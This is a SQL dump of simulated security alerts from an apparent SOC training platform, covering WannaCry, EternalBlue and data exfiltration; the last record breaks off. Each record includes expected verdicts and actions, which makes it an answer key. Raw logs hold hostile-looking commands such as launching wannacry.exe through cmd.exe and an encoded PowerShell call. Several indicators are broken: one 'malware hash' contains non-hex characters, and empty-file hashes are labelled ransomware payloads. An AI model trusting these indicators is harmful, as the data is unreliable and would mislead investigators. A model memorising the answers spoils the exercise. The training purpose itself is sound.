(506, 'Data Exfiltration Attempt Identified', 'high', 'Data Loss Prevention (DLP)', 'During the final stage of the operation, Rocket Kitten attempted to exfiltrate sensitive aerospace data to external servers. This activity was detected by the DLP system, indicating a high likelihood of data theft.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"DLP-EXFIL-20231015-001\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"detected_file\":\"aerospace_project_plan.pdf\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"protocol\":\"HTTPS\",\"action_taken\":\"Blocked\",\"alert_severity\":\"High\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Rocket Kitten\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"aerospace_project_plan.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP System\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document targeted for exfiltration\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this hash\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR Database\",\"verdict\":\"internal\",\"details\":\"Employee account used in exfiltration attempt\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(507, 'Initial Breach Detected via EternalBlue', 'critical', 'Network Intrusion Detection System (NIDS)', 'An advanced attack was detected leveraging the EternalBlue vulnerability to gain unauthorized access to vulnerable systems within the network. The attacker initiated the breach from a known malicious IP address, targeting internal IP addresses, and executed a payload associated with the exploit.', 'Vulnerability Exploitation', 'T1210 - Exploitation of Remote Services', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T07:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"event_type\":\"exploit_attempt\",\"vulnerability\":\"EternalBlue\",\"payload_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"detected_by\":\"NIDS\",\"filename\":\"exploit.dll\",\"username\":\"unknown\"}', '2026-01-06 01:34:24', '2026-02-16 18:19:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with EternalBlue payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exploit.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in exploit attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(508, 'Malicious Code Execution Initiated', 'critical', 'Endpoint Detection and Response (EDR)', 'An advanced remote code execution attempt has been detected. The attacker has initiated the WannaCry ransomware payload, beginning the encryption process on compromised systems.', 'Remote Code Execution', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":\"edr_456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"source_port\":443,\"destination_port\":135,\"protocol\":\"TCP\",\"username\":\"compromised_user\",\"executed_command\":\"c:\\\\windows\\\\system32\\\\cmd.exe /c start wannacry.exe\",\"file_hash\":\"3f2efc7f4c0a3b8ff2e8e4d3b6bb6a8f\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\Downloads\\\\wannacry.exe\",\"process_id\":12345,\"malware_name\":\"WannaCry\"}', '2026-01-06 01:34:24', '2026-02-16 18:19:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with WannaCry attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f2efc7f4c0a3b8ff2e8e4d3b6bb6a8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches WannaCry ransomware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wannacry.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal EDR\",\"verdict\":\"malicious\",\"details\":\"Known ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(509, 'Persistence Mechanism Established', 'high', 'System Logs', 'The attacker has established persistence on the compromised systems by modifying registry keys and creating scheduled tasks, ensuring the ransomware re-executes upon reboot.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:25:30Z\",\"event_id\":\"4624\",\"computer_name\":\"compromised-host.local\",\"user\":\"malicious_user\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"registry_key_modified\":\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"scheduled_task_created\":\"\\\\Windows\\\\System32\\\\Tasks\\\\MaliciousTask\",\"malware_file\":\"ransomware_payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"description\":\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\"}', '2026-01-06 01:34:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Filename commonly associated with ransomware attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(510, 'SMB Propagation Detected', 'high', 'Network Traffic Analysis', 'A potential lateral movement was detected on the network using the SMB protocol. An internal host is attempting to spread ransomware to other vulnerable machines within the network.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:22Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.23\",\"external_attacker_ip\":\"203.0.113.45\",\"protocol\":\"SMB\",\"malware_hash\":\"f2e9b8b5d5f3a2b1c4e6f7g8h9i0j1k2\",\"malware_filename\":\"ransomware_payload.exe\",\"username\":\"jdoe\",\"activity\":\"smb_connection_attempt\",\"status\":\"failed\"}', '2026-01-06 01:34:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal assessment\",\"verdict\":\"internal\",\"details\":\"Potential source of lateral movement within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal assessment\",\"verdict\":\"internal\",\"details\":\"Potential target of lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used in previous ransomware attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f2e9b8b5d5f3a2b1c4e6f7g8h9i0j1k2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known ransomware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal assessment\",\"verdict\":\"malicious\",\"details\":\"Executable associated with ransomware propagation.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal assessment\",\"verdict\":\"suspicious\",\"details\":\"User potentially compromised for lateral movement activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(511, 'Kill-Switch Domain Investigated', 'high', 'DNS Query Logs', 'An investigation has identified suspicious DNS queries related to the WannaCry kill-switch mechanism. The queries originated from an internal host querying a known kill-switch domain, indicating potential infection or reconnaissance activity.', 'Command and Control', 'T1071.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:45:30Z\",\"source_ip\":\"192.168.1.105\",\"queried_domain\":\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\",\"query_type\":\"A\",\"response\":\"92.242.132.24\",\"associated_filename\":\"wannacry.exe\",\"associated_hash\":\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\",\"internal_user\":\"jdoe\"}', '2026-01-06 01:34:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_review\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known kill-switch domain for WannaCry ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with WannaCry ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wannacry.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repository\",\"verdict\":\"malicious\",\"details\":\"Executable known to be associated with WannaCry ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.126Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:30Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"queried_domain\\\":\\\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\\\",\\\"query_type\\\":\\\"A\\\",\\\"response\\\":\\\"92.242.132.24\\\",\\\"associated_filename\\\":\\\"wannacry.exe\\\",\\\"associated_hash\\\":\\\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\\\",\\\"internal_user\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.126Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:30Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"queried_domain\\\":\\\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\\\",\\\"query_type\\\":\\\"A\\\",\\\"response\\\":\\\"92.242.132.24\\\",\\\"associated_filename\\\":\\\"wannacry.exe\\\",\\\"associated_hash\\\":\\\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\\\",\\\"internal_user\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.126Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:30Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"queried_domain\\\":\\\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\\\",\\\"query_type\\\":\\\"A\\\",\\\"response\\\":\\\"92.242.132.24\\\",\\\"associated_filename\\\":\\\"wannacry.exe\\\",\\\"associated_hash\\\":\\\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\\\",\\\"internal_user\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.126Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:30Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"queried_domain\\\":\\\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\\\",\\\"query_type\\\":\\\"A\\\",\\\"response\\\":\\\"92.242.132.24\\\",\\\"associated_filename\\\":\\\"wannacry.exe\\\",\\\"associated_hash\\\":\\\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\\\",\\\"internal_user\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.126Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 